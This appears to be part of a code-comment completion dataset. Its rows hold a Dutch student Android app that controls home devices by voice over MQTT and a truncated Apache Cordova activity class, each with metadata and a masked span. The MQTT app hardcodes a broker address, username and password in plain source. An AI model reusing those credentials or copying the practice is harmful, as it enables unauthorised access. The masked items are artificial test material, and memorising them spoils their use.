if(new String(test.getPayload()).contains("light")) {
tts.speak("Houdoe", TextToSpeech.QUEUE_FLUSH, null);
}
}
});
}
});
client.subscribe(kitchentopic, 0, new IMqttMessageListener() {
@Override
public void messageArrived(final String topic, MqttMessage message) throws Exception {
final MqttMessage test = message;
System.out.println("Message: " + "kitchen" + " : " + new String(message.getPayload()));
runOnUiThread(new Runnable() {
@Override
public void run() {
//Stopcontact
LatestMessage = (TextView) findViewById(R.id.SubMessage);
LatestMessage.setText("Latest message: "+ new String(test.getPayload()));
ImageView image = (ImageView) findViewById(R.id.imageView);
if(new String(test.getPayload()).contains("kitchen on"))
image.setImageResource(R.mipmap.on);
if(new String(test.getPayload()).contains("kitchen off"))
image.setImageResource(R.mipmap.pixelbulbart);
}
});
}
});
} catch (MqttException ex){
System.err.println("Exception whilst subscribing");
ex.printStackTrace();
}
}
public void publishMessage(){
try {
MqttMessage message = new MqttMessage();
message.setPayload(Manueelsend.getBytes());
client.publish(topic, message);
addToHistory("Message Published");
if(!client.isConnected()){
addToHistory(client.getBufferedMessageCount() + " messages in buffer.");
}
} catch (MqttException e) {
System.err.println("Error Publishing: " + e.getMessage());
e.printStackTrace();
}
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
switch (requestCode) {
case RESULT_SPEECH: {
if (resultCode == RESULT_OK && null != data) {
ArrayList<String> text = data
.getStringArrayListExtra(RecognizerIntent.EXTRA_RESULTS);
GesprokenZin.setText(text.get(0));
String gesprokenpublish = GesprokenZin.getText().toString();
if (gesprokenpublish.contains(Places[0])) {topic = "kitchen"; send = true;}
else if (gesprokenpublish.contains(Places[1])) {topic = "Android/slaapkamer"; send = true;}
else if (gesprokenpublish.contains(Places[2])) {topic = "Android/berging"; send = true;}
else if (gesprokenpublish.contains(Places[3])) {topic = "Android/badkamer"; send = true;}
else if (gesprokenpublish.contains(Places[4])) {topic = "Android/Deurslot"; send = true;}
else{topic ="Not understood"; newmessage="Not understood"; send = false;}
if (gesprokenpublish.contains("aan")) {newmessage = "on"; send = true;}
else if (gesprokenpublish.contains("uit")) { newmessage = "off"; send = true;}
else if (gesprokenpublish.contains("vast")) { newmessage = "vast"; send = true;}
else if (gesprokenpublish.contains("los")) { newmessage = "los"; send = true;}
else{topic ="Not understood"; newmessage="Not understood"; send = false;}
if(send){
MqttMessage message = new MqttMessage(newmessage.getBytes());
message.setQos(qos);
message.setRetained(false);
try {
client.publish(topic, message);
} catch (MqttException e) {
e.printStackTrace();
}
}
}
break;
}
}
}
public void SendMessage(View view) throws MqttException {
publishMessage();
}
public void Devices(View view) {
startActivity(new Intent(MainActivity.this, devices.class));
}
public void calibrateScale(View view) {
try {
MqttMessage message = new MqttMessage("calibrate".getBytes());
client.publish("scale", message);
} catch (MqttException e) {
e.printStackTrace();
}
}
} | AP-IT-GH/iot16-zordon | src/Android/Zordon/app/src/main/java/powerrangers/zordon/MainActivity.java | 3,902 | //String[] array = getIntent().getStringArrayExtra("lijst"); | line_comment | nl | package powerrangers.zordon;
import android.content.Context;
import android.media.MediaPlayer;
import android.speech.tts.TextToSpeech;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.telecom.Connection;
import android.util.Log;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.Adapter;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.CompoundButton;
import android.widget.ImageView;
import android.widget.ListView;
import android.widget.TextView;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import java.util.ArrayList;
import java.util.List;
import java.util.Locale;
import android.app.Activity;
import android.content.ActivityNotFoundException;
import android.content.Intent;
import android.os.Bundle;
import android.speech.RecognizerIntent;
import android.view.View;
import android.widget.Button;
import android.widget.ImageButton;
import android.widget.TextView;
import android.widget.Toast;
import android.widget.ToggleButton;
import org.eclipse.paho.android.service.MqttAndroidClient;
import org.eclipse.paho.client.mqttv3.DisconnectedBufferOptions;
import org.eclipse.paho.client.mqttv3.IMqttActionListener;
import org.eclipse.paho.client.mqttv3.IMqttDeliveryToken;
import org.eclipse.paho.client.mqttv3.IMqttMessageListener;
import org.eclipse.paho.client.mqttv3.IMqttToken;
import org.eclipse.paho.client.mqttv3.MqttCallback;
import org.eclipse.paho.client.mqttv3.MqttCallbackExtended;
import org.eclipse.paho.client.mqttv3.MqttClient;
import org.eclipse.paho.client.mqttv3.MqttConnectOptions;
import org.eclipse.paho.client.mqttv3.MqttException;
import org.eclipse.paho.client.mqttv3.MqttMessage;
import org.eclipse.paho.client.mqttv3.util.Strings;
import java.io.UnsupportedEncodingException;
import static android.R.attr.content;
public class MainActivity extends AppCompatActivity {
MqttAndroidClient client;
String server = "ssl://m21.cloudmqtt.com:22452";
String username = "xnkcayag";
String password = "DtCGtuL2kVfk";
String topic = "Android/#";
String kitchentopic = "Android";
String[] topics = {"Android/#", "kitchen"};
String newmessage;
int qos = 1;
String clientId = MqttClient.generateClientId();
String Manueelsend = "test";
private Adapter mAdapter;
private ListView lv;
String[] Places = {"keuken", "slaapkamer", "berging", "badkamer", "deur"};;
protected static final int RESULT_SPEECH = 1;
private ImageButton PraatButton;
private TextView GesprokenZin;
private TextView LatestMessage;
private TextView KamerTemp;
private TextView weight;
private TextView ConnectStatus;
private Button Devices;
private ToggleButton Verwarming;
private TextToSpeech tts;
Boolean send = true;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Button btnSendMsg = (Button) findViewById(R.id.SendMessage);
GesprokenZin = (TextView) findViewById(R.id.GesprokenZin);
PraatButton = (ImageButton) findViewById(R.id.PraatButton);
ConnectStatus = (TextView) findViewById(R.id.StatusLabel);
lv = (ListView) findViewById(R.id.lv);
tts=new TextToSpeech(getApplicationContext(), new TextToSpeech.OnInitListener() {
@Override
public void onInit(int status) {
if(status != TextToSpeech.ERROR) {
}
}
});
//String[] array<SUF>
//Speech To Text API
PraatButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(
RecognizerIntent.ACTION_RECOGNIZE_SPEECH);
intent.putExtra(RecognizerIntent.EXTRA_LANGUAGE_MODEL, Locale.getDefault());
try {
startActivityForResult(intent, RESULT_SPEECH);
GesprokenZin.setText("");
} catch (ActivityNotFoundException a) {
Toast.makeText(getApplicationContext(),
"Your device doesn't support Speech to Text",
Toast.LENGTH_SHORT).show();
}
}
});
//Connect to Mqtt
client = new MqttAndroidClient(this.getApplicationContext(), server, clientId);
client.setCallback(new MqttCallbackExtended() {
@Override
public void connectComplete(boolean reconnect, String server) {
if (reconnect) {
addToHistory("Reconnected to: " + server);
ConnectStatus.setText("Status: Connected");
SubscribeToTopic();
} else {
addToHistory("Connected to: " + server);
ConnectStatus.setText("Status: Connected");
}
}
@Override
public void connectionLost(Throwable cause) {
addToHistory("The connection was lost.");
ConnectStatus.setText("Status: Disconnected");
}
@Override
public void messageArrived(String topic, MqttMessage message) throws Exception {
addToHistory("Incoming message: " + new String(message.getPayload()));
}
@Override
public void deliveryComplete(IMqttDeliveryToken token) {
}
});
MqttConnectOptions mqttConnectOptions = new MqttConnectOptions();
mqttConnectOptions.setAutomaticReconnect(true);
mqttConnectOptions.setCleanSession(false);
mqttConnectOptions.setUserName(username);
mqttConnectOptions.setConnectionTimeout(240000);
mqttConnectOptions.setPassword(password.toCharArray());
try {
client.connect(mqttConnectOptions, null, new IMqttActionListener() {
@Override
public void onSuccess(IMqttToken asyncActionToken) {
DisconnectedBufferOptions disconnectedBufferOptions = new DisconnectedBufferOptions();
disconnectedBufferOptions.setBufferEnabled(true);
disconnectedBufferOptions.setBufferSize(100);
disconnectedBufferOptions.setPersistBuffer(false);
disconnectedBufferOptions.setDeleteOldestMessages(false);
client.setBufferOpts(disconnectedBufferOptions);
SubscribeToTopic();
}
@Override
public void onFailure(IMqttToken asyncActionToken, Throwable exception) {
addToHistory("failed to connect to: " + server);
}
});
} catch (MqttException ex) {
ex.printStackTrace();
}
}
private void addToHistory(String mainText){
System.out.println("LOG: " + mainText);
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
//noinspection SimplifiableIfStatement
return super.onOptionsItemSelected(item);
}
public void SubscribeToTopic(){
try {
//Subscribe to all topics on Android
final MediaPlayer mp = MediaPlayer.create(this, R.raw.bell3);
final MediaPlayer weightSound = MediaPlayer.create(this, R.raw.weightdetected);
client.subscribe(topic, 0, new IMqttMessageListener() {
@Override
public void messageArrived(final String topic, MqttMessage message) throws Exception {
final MqttMessage test = message;
System.out.println("Message: " + "Android/#" + " : " + new String(message.getPayload()));
runOnUiThread(new Runnable() {
@Override
public void run() {
//sensor
KamerTemp = (TextView) findViewById(R.id.KamerTemp);
KamerTemp.setText("Kamertemperatuur: " + new String(test.getPayload()));
if(new String(test.getPayload()).contains("bel")){
mp.start();
}
if(new String(test.getPayload()).contains("dit weegt")) {
weight = (TextView) findViewById(R.id.weight);
weight.setText("Gewicht: " + new String(test.getPayload()));
tts.speak(new String(test.getPayload()), TextToSpeech.QUEUE_FLUSH, null);
}
if(new String(test.getPayload()).contains("heavy")) {
tts.speak("Welkom", TextToSpeech.QUEUE_FLUSH, null);
}
if(new String(test.getPayload()).contains("light")) {
tts.speak("Houdoe", TextToSpeech.QUEUE_FLUSH, null);
}
}
});
}
});
client.subscribe(kitchentopic, 0, new IMqttMessageListener() {
@Override
public void messageArrived(final String topic, MqttMessage message) throws Exception {
final MqttMessage test = message;
System.out.println("Message: " + "kitchen" + " : " + new String(message.getPayload()));
runOnUiThread(new Runnable() {
@Override
public void run() {
//Stopcontact
LatestMessage = (TextView) findViewById(R.id.SubMessage);
LatestMessage.setText("Latest message: "+ new String(test.getPayload()));
ImageView image = (ImageView) findViewById(R.id.imageView);
if(new String(test.getPayload()).contains("kitchen on"))
image.setImageResource(R.mipmap.on);
if(new String(test.getPayload()).contains("kitchen off"))
image.setImageResource(R.mipmap.pixelbulbart);
}
});
}
});
} catch (MqttException ex){
System.err.println("Exception whilst subscribing");
ex.printStackTrace();
}
}
public void publishMessage(){
try {
MqttMessage message = new MqttMessage();
message.setPayload(Manueelsend.getBytes());
client.publish(topic, message);
addToHistory("Message Published");
if(!client.isConnected()){
addToHistory(client.getBufferedMessageCount() + " messages in buffer.");
}
} catch (MqttException e) {
System.err.println("Error Publishing: " + e.getMessage());
e.printStackTrace();
}
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
switch (requestCode) {
case RESULT_SPEECH: {
if (resultCode == RESULT_OK && null != data) {
ArrayList<String> text = data
.getStringArrayListExtra(RecognizerIntent.EXTRA_RESULTS);
GesprokenZin.setText(text.get(0));
String gesprokenpublish = GesprokenZin.getText().toString();
if (gesprokenpublish.contains(Places[0])) {topic = "kitchen"; send = true;}
else if (gesprokenpublish.contains(Places[1])) {topic = "Android/slaapkamer"; send = true;}
else if (gesprokenpublish.contains(Places[2])) {topic = "Android/berging"; send = true;}
else if (gesprokenpublish.contains(Places[3])) {topic = "Android/badkamer"; send = true;}
else if (gesprokenpublish.contains(Places[4])) {topic = "Android/Deurslot"; send = true;}
else{topic ="Not understood"; newmessage="Not understood"; send = false;}
if (gesprokenpublish.contains("aan")) {newmessage = "on"; send = true;}
else if (gesprokenpublish.contains("uit")) { newmessage = "off"; send = true;}
else if (gesprokenpublish.contains("vast")) { newmessage = "vast"; send = true;}
else if (gesprokenpublish.contains("los")) { newmessage = "los"; send = true;}
else{topic ="Not understood"; newmessage="Not understood"; send = false;}
if(send){
MqttMessage message = new MqttMessage(newmessage.getBytes());
message.setQos(qos);
message.setRetained(false);
try {
client.publish(topic, message);
} catch (MqttException e) {
e.printStackTrace();
}
}
}
break;
}
}
}
public void SendMessage(View view) throws MqttException {
publishMessage();
}
public void Devices(View view) {
startActivity(new Intent(MainActivity.this, devices.class));
}
public void calibrateScale(View view) {
try {
MqttMessage message = new MqttMessage("calibrate".getBytes());
client.publish("scale", message);
} catch (MqttException e) {
e.printStackTrace();
}
}
} |
125002_38 | /*
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied. See the License for the
specific language governing permissions and limitations
under the License.
*/
package org.apache.cordova;
import java.util.ArrayList;
import java.util.Locale;
import org.json.JSONException;
import org.json.JSONObject;
import android.app.Activity;
import android.app.AlertDialog;
import android.annotation.SuppressLint;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.res.Configuration;
import android.graphics.Color;
import android.media.AudioManager;
import android.os.Build;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.ViewGroup;
import android.view.Window;
import android.view.WindowManager;
import android.webkit.WebViewClient;
import android.widget.FrameLayout;
/**
* This class is the main Android activity that represents the Cordova
* application. It should be extended by the user to load the specific
* html file that contains the application.
*
* As an example:
*
* <pre>
* package org.apache.cordova.examples;
*
* import android.os.Bundle;
* import org.apache.cordova.*;
*
* public class Example extends CordovaActivity {
* @Override
* public void onCreate(Bundle savedInstanceState) {
* super.onCreate(savedInstanceState);
* super.init();
* // Load your application
* loadUrl(launchUrl);
* }
* }
* </pre>
*
* Cordova xml configuration: Cordova uses a configuration file at
* res/xml/config.xml to specify its settings. See "The config.xml File"
* guide in cordova-docs at http://cordova.apache.org/docs for the documentation
* for the configuration. The use of the set*Property() methods is
* deprecated in favor of the config.xml file.
*
*/
public class CordovaActivity extends Activity {
public static String TAG = "CordovaActivity";
// The webview for our app
protected CordovaWebView appView;
private static int ACTIVITY_STARTING = 0;
private static int ACTIVITY_RUNNING = 1;
private static int ACTIVITY_EXITING = 2;
// Keep app running when pause is received. (default = true)
// If true, then the JavaScript and native code continue to run in the background
// when another application (activity) is started.
protected boolean keepRunning = true;
// Flag to keep immersive mode if set to fullscreen
protected boolean immersiveMode;
// Read from config.xml:
protected CordovaPreferences preferences;
protected String launchUrl;
protected ArrayList<PluginEntry> pluginEntries;
protected CordovaInterfaceImpl cordovaInterface;
/**
* Called when the activity is first created.
*/
@Override
public void onCreate(Bundle savedInstanceState) {
// need to activate preferences before super.onCreate to avoid "requestFeature() must be called before adding content" exception
loadConfig();
String logLevel = preferences.getString("loglevel", "ERROR");
LOG.setLogLevel(logLevel);
LOG.i(TAG, "Apache Cordova native platform version " + CordovaWebView.CORDOVA_VERSION + " is starting");
LOG.d(TAG, "CordovaActivity.onCreate()");
if (!preferences.getBoolean("ShowTitle", false)) {
getWindow().requestFeature(Window.FEATURE_NO_TITLE);
}
if (preferences.getBoolean("SetFullscreen", false)) {
LOG.d(TAG, "The SetFullscreen configuration is deprecated in favor of Fullscreen, and will be removed in a future version.");
preferences.set("Fullscreen", true);
}
if (preferences.getBoolean("Fullscreen", false)) {
// NOTE: use the FullscreenNotImmersive configuration key to set the activity in a REAL full screen
// (as was the case in previous cordova versions)
if (!preferences.getBoolean("FullscreenNotImmersive", false)) {
immersiveMode = true;
} else {
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
WindowManager.LayoutParams.FLAG_FULLSCREEN);
}
} else {
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FORCE_NOT_FULLSCREEN,
WindowManager.LayoutParams.FLAG_FORCE_NOT_FULLSCREEN);
}
super.onCreate(savedInstanceState);
cordovaInterface = makeCordovaInterface();
if (savedInstanceState != null) {
cordovaInterface.restoreInstanceState(savedInstanceState);
}
}
protected void init() {
appView = makeWebView();
createViews();
if (!appView.isInitialized()) {
appView.init(cordovaInterface, pluginEntries, preferences);
}
cordovaInterface.onCordovaInit(appView.getPluginManager());
// Wire the hardware volume controls to control media if desired.
String volumePref = preferences.getString("DefaultVolumeStream", "");
if ("media".equals(volumePref.toLowerCase(Locale.ENGLISH))) {
setVolumeControlStream(AudioManager.STREAM_MUSIC);
}
}
@SuppressWarnings("deprecation")
protected void loadConfig() {
ConfigXmlParser parser = new ConfigXmlParser();
parser.parse(this);
preferences = parser.getPreferences();
preferences.setPreferencesBundle(getIntent().getExtras());
launchUrl = parser.getLaunchUrl();
pluginEntries = parser.getPluginEntries();
Config.parser = parser;
}
//Suppressing warnings in AndroidStudio
@SuppressWarnings({"deprecation", "ResourceType"})
protected void createViews() {
//Why are we setting a constant as the ID? This should be investigated
appView.getView().setId(100);
appView.getView().setLayoutParams(new FrameLayout.LayoutParams(
ViewGroup.LayoutParams.MATCH_PARENT,
ViewGroup.LayoutParams.MATCH_PARENT));
setContentView(appView.getView());
if (preferences.contains("BackgroundColor")) {
try {
int backgroundColor = preferences.getInteger("BackgroundColor", Color.BLACK);
// Background of activity:
appView.getView().setBackgroundColor(backgroundColor);
}
catch (NumberFormatException e){
e.printStackTrace();
}
}
appView.getView().requestFocusFromTouch();
}
/**
* Construct the default web view object.
* <p/>
* Override this to customize the webview that is used.
*/
protected CordovaWebView makeWebView() {
return new CordovaWebViewImpl(makeWebViewEngine());
}
protected CordovaWebViewEngine makeWebViewEngine() {
return CordovaWebViewImpl.createEngine(this, preferences);
}
protected CordovaInterfaceImpl makeCordovaInterface() {
return new CordovaInterfaceImpl(this) {
@Override
public Object onMessage(String id, Object data) {
// Plumb this to CordovaActivity.onMessage for backwards compatibility
return CordovaActivity.this.onMessage(id, data);
}
};
}
/**
* Load the url into the webview.
*/
public void loadUrl(String url) {
if (appView == null) {
init();
}
// If keepRunning
this.keepRunning = preferences.getBoolean("KeepRunning", true);
appView.loadUrlIntoView(url, true);
}
/**
* Called when the system is about to start resuming a previous activity.
*/
@Override
protected void onPause() {
super.onPause();
LOG.d(TAG, "Paused the activity.");
if (this.appView != null) {
// CB-9382 If there is an activity that started for result and main activity is waiting for callback
// result, we shoudn't stop WebView Javascript timers, as activity for result might be using them
boolean keepRunning = this.keepRunning || this.cordovaInterface.activityResultCallback != null;
this.appView.handlePause(keepRunning);
}
}
/**
* Called when the activity receives a new intent
*/
@Override
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
//Forward to plugins
if (this.appView != null)
this.appView.onNewIntent(intent);
}
/**
* Called when the activity will start interacting with the user.
*/
@Override
protected void onResume() {
super.onResume();
LOG.d(TAG, "Resumed the activity.");
if (this.appView == null) {
return;
}
// Force window to have focus, so application always
// receive user input. Workaround for some devices (Samsung Galaxy Note 3 at least)
this.getWindow().getDecorView().requestFocus();
this.appView.handleResume(this.keepRunning);
}
/**
* Called when the activity is no longer visible to the user.
*/
@Override
protected void onStop() {
super.onStop();
LOG.d(TAG, "Stopped the activity.");
if (this.appView == null) {
return;
}
this.appView.handleStop();
}
/**
* Called when the activity is becoming visible to the user.
*/
@Override
protected void onStart() {
super.onStart();
LOG.d(TAG, "Started the activity.");
if (this.appView == null) {
return;
}
this.appView.handleStart();
}
/**
* The final call you receive before your activity is destroyed.
*/
@Override
public void onDestroy() {
LOG.d(TAG, "CordovaActivity.onDestroy()");
super.onDestroy();
if (this.appView != null) {
appView.handleDestroy();
}
}
/**
* Called when view focus is changed
*/
@SuppressLint("InlinedApi")
@Override
public void onWindowFocusChanged(boolean hasFocus) {
super.onWindowFocusChanged(hasFocus);
if (hasFocus && immersiveMode) {
final int uiOptions = View.SYSTEM_UI_FLAG_LAYOUT_STABLE
| View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION
| View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
| View.SYSTEM_UI_FLAG_HIDE_NAVIGATION
| View.SYSTEM_UI_FLAG_FULLSCREEN
| View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY;
getWindow().getDecorView().setSystemUiVisibility(uiOptions);
}
}
@SuppressLint("NewApi")
@Override
public void startActivityForResult(Intent intent, int requestCode, Bundle options) {
// Capture requestCode here so that it is captured in the setActivityResultCallback() case.
cordovaInterface.setActivityResultRequestCode(requestCode);
super.startActivityForResult(intent, requestCode, options);
}
/**
* Called when an activity you launched exits, giving you the requestCode you started it with,
* the resultCode it returned, and any additional data from it.
*
* @param requestCode The request code originally supplied to startActivityForResult(),
* allowing you to identify who this result came from.
* @param resultCode The integer result code returned by the child activity through its setResult().
* @param intent An Intent, which can return result data to the caller (various data can be attached to Intent "extras").
*/
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent intent) {
LOG.d(TAG, "Incoming Result. Request code = " + requestCode);
super.onActivityResult(requestCode, resultCode, intent);
cordovaInterface.onActivityResult(requestCode, resultCode, intent);
}
/**
* Report an error to the host application. These errors are unrecoverable (i.e. the main resource is unavailable).
* The errorCode parameter corresponds to one of the ERROR_* constants.
*
* @param errorCode The error code corresponding to an ERROR_* value.
* @param description A String describing the error.
* @param failingUrl The url that failed to load.
*/
public void onReceivedError(final int errorCode, final String description, final String failingUrl) {
final CordovaActivity me = this;
// If errorUrl specified, then load it
final String errorUrl = preferences.getString("errorUrl", null);
if ((errorUrl != null) && (!failingUrl.equals(errorUrl)) && (appView != null)) {
// Load URL on UI thread
me.runOnUiThread(new Runnable() {
public void run() {
me.appView.showWebPage(errorUrl, false, true, null);
}
});
}
// If not, then display error dialog
else {
final boolean exit = !(errorCode == WebViewClient.ERROR_HOST_LOOKUP);
me.runOnUiThread(new Runnable() {
public void run() {
if (exit) {
me.appView.getView().setVisibility(View.GONE);
me.displayError("Application Error", description + " (" + failingUrl + ")", "OK", exit);
}
}
});
}
}
/**
* Display an error dialog and optionally exit application.
*/
public void displayError(final String title, final String message, final String button, final boolean exit) {
final CordovaActivity me = this;
me.runOnUiThread(new Runnable() {
public void run() {
try {
AlertDialog.Builder dlg = new AlertDialog.Builder(me);
dlg.setMessage(message);
dlg.setTitle(title);
dlg.setCancelable(false);
dlg.setPositiveButton(button,
new AlertDialog.OnClickListener() {
public void onClick(DialogInterface dialog, int which) {
dialog.dismiss();
if (exit) {
finish();
}
}
});
dlg.create();
dlg.show();
} catch (Exception e) {
finish();
}
}
});
}
/*
* Hook in Cordova for menu plugins
*/
@Override
public boolean onCreateOptionsMenu(Menu menu) {
if (appView != null) {
appView.getPluginManager().postMessage("onCreateOptionsMenu", menu);
}
return super.onCreateOptionsMenu(menu);
}
@Override
public boolean onPrepareOptionsMenu(Menu menu) {
if (appView != null) {
appView.getPluginManager().postMessage("onPrepareOptionsMenu", menu);
}
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
if (appView != null) {
appView.getPluginManager().postMessage("onOptionsItemSelected", item);
}
return true;
}
/**
* Called when a message is sent to plugin.
*
* @param id The message id
* @param data The message data
* @return Object or null
*/
public Object onMessage(String id, Object data) {
if ("onReceivedError".equals(id)) {
JSONObject d = (JSONObject) data;
try {
this.onReceivedError(d.getInt("errorCode"), d.getString("description"), d.getString("url"));
} catch (JSONException e) {
e.printStackTrace();
}
} else if ("exit".equals(id)) {
finish();
}
return null;
}
protected void onSaveInstanceState(Bundle outState) {
cordovaInterface.onSaveInstanceState(outState);
super.onSaveInstanceState(outState);
}
/**
* Called by the system when the device configuration changes while your activity is running.
*
* @param newConfig The new device configuration
*/
@Override
public void onConfigurationChanged(Configuration newConfig) {
super.onConfigurationChanged(newConfig);
if (this.appView == null) {
return;
}
PluginManager pm = this.appView.getPluginManager();
if (pm != null) {
pm.onConfigurationChanged(newConfig);
}
}
/**
* Called by the system when the user grants permissions
*
* @param requestCode
* @param permissions
* @param grantResults
*/
@Override
public void onRequestPermissionsResult(int requestCode, String permissions[],
int[] grantResults) {
try
{
cordovaInterface.onRequestPermissionResult(requestCode, permissions, grantResults);
}
catch (JSONException e)
{
LOG.d(TAG, "JSONException: Parameters fed into the method are not valid");
e.printStackTrace();
}
}
}
| AP-IT-GH/jp19-luwb | src/visualisatie/lijn tekenen (angular)/platforms/android/CordovaLib/src/org/apache/cordova/CordovaActivity.java | 4,703 | /*
* Hook in Cordova for menu plugins
*/ | block_comment | nl | /*
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied. See the License for the
specific language governing permissions and limitations
under the License.
*/
package org.apache.cordova;
import java.util.ArrayList;
import java.util.Locale;
import org.json.JSONException;
import org.json.JSONObject;
import android.app.Activity;
import android.app.AlertDialog;
import android.annotation.SuppressLint;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.res.Configuration;
import android.graphics.Color;
import android.media.AudioManager;
import android.os.Build;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.ViewGroup;
import android.view.Window;
import android.view.WindowManager;
import android.webkit.WebViewClient;
import android.widget.FrameLayout;
/**
* This class is the main Android activity that represents the Cordova
* application. It should be extended by the user to load the specific
* html file that contains the application.
*
* As an example:
*
* <pre>
* package org.apache.cordova.examples;
*
* import android.os.Bundle;
* import org.apache.cordova.*;
*
* public class Example extends CordovaActivity {
* @Override
* public void onCreate(Bundle savedInstanceState) {
* super.onCreate(savedInstanceState);
* super.init();
* // Load your application
* loadUrl(launchUrl);
* }
* }
* </pre>
*
* Cordova xml configuration: Cordova uses a configuration file at
* res/xml/config.xml to specify its settings. See "The config.xml File"
* guide in cordova-docs at http://cordova.apache.org/docs for the documentation
* for the configuration. The use of the set*Property() methods is
* deprecated in favor of the config.xml file.
*
*/
public class CordovaActivity extends Activity {
public static String TAG = "CordovaActivity";
// The webview for our app
protected CordovaWebView appView;
private static int ACTIVITY_STARTING = 0;
private static int ACTIVITY_RUNNING = 1;
private static int ACTIVITY_EXITING = 2;
// Keep app running when pause is received. (default = true)
// If true, then the JavaScript and native code continue to run in the background
// when another application (activity) is started.
protected boolean keepRunning = true;
// Flag to keep immersive mode if set to fullscreen
protected boolean immersiveMode;
// Read from config.xml:
protected CordovaPreferences preferences;
protected String launchUrl;
protected ArrayList<PluginEntry> pluginEntries;
protected CordovaInterfaceImpl cordovaInterface;
/**
* Called when the activity is first created.
*/
@Override
public void onCreate(Bundle savedInstanceState) {
// need to activate preferences before super.onCreate to avoid "requestFeature() must be called before adding content" exception
loadConfig();
String logLevel = preferences.getString("loglevel", "ERROR");
LOG.setLogLevel(logLevel);
LOG.i(TAG, "Apache Cordova native platform version " + CordovaWebView.CORDOVA_VERSION + " is starting");
LOG.d(TAG, "CordovaActivity.onCreate()");
if (!preferences.getBoolean("ShowTitle", false)) {
getWindow().requestFeature(Window.FEATURE_NO_TITLE);
}
if (preferences.getBoolean("SetFullscreen", false)) {
LOG.d(TAG, "The SetFullscreen configuration is deprecated in favor of Fullscreen, and will be removed in a future version.");
preferences.set("Fullscreen", true);
}
if (preferences.getBoolean("Fullscreen", false)) {
// NOTE: use the FullscreenNotImmersive configuration key to set the activity in a REAL full screen
// (as was the case in previous cordova versions)
if (!preferences.getBoolean("FullscreenNotImmersive", false)) {
immersiveMode = true;
} else {
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
WindowManager.LayoutParams.FLAG_FULLSCREEN);
}
} else {
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FORCE_NOT_FULLSCREEN,
WindowManager.LayoutParams.FLAG_FORCE_NOT_FULLSCREEN);
}
super.onCreate(savedInstanceState);
cordovaInterface = makeCordovaInterface();
if (savedInstanceState != null) {
cordovaInterface.restoreInstanceState(savedInstanceState);
}
}
protected void init() {
appView = makeWebView();
createViews();
if (!appView.isInitialized()) {
appView.init(cordovaInterface, pluginEntries, preferences);
}
cordovaInterface.onCordovaInit(appView.getPluginManager());
// Wire the hardware volume controls to control media if desired.
String volumePref = preferences.getString("DefaultVolumeStream", "");
if ("media".equals(volumePref.toLowerCase(Locale.ENGLISH))) {
setVolumeControlStream(AudioManager.STREAM_MUSIC);
}
}
@SuppressWarnings("deprecation")
protected void loadConfig() {
ConfigXmlParser parser = new ConfigXmlParser();
parser.parse(this);
preferences = parser.getPreferences();
preferences.setPreferencesBundle(getIntent().getExtras());
launchUrl = parser.getLaunchUrl();
pluginEntries = parser.getPluginEntries();
Config.parser = parser;
}
//Suppressing warnings in AndroidStudio
@SuppressWarnings({"deprecation", "ResourceType"})
protected void createViews() {
//Why are we setting a constant as the ID? This should be investigated
appView.getView().setId(100);
appView.getView().setLayoutParams(new FrameLayout.LayoutParams(
ViewGroup.LayoutParams.MATCH_PARENT,
ViewGroup.LayoutParams.MATCH_PARENT));
setContentView(appView.getView());
if (preferences.contains("BackgroundColor")) {
try {
int backgroundColor = preferences.getInteger("BackgroundColor", Color.BLACK);
// Background of activity:
appView.getView().setBackgroundColor(backgroundColor);
}
catch (NumberFormatException e){
e.printStackTrace();
}
}
appView.getView().requestFocusFromTouch();
}
/**
* Construct the default web view object.
* <p/>
* Override this to customize the webview that is used.
*/
protected CordovaWebView makeWebView() {
return new CordovaWebViewImpl(makeWebViewEngine());
}
protected CordovaWebViewEngine makeWebViewEngine() {
return CordovaWebViewImpl.createEngine(this, preferences);
}
protected CordovaInterfaceImpl makeCordovaInterface() {
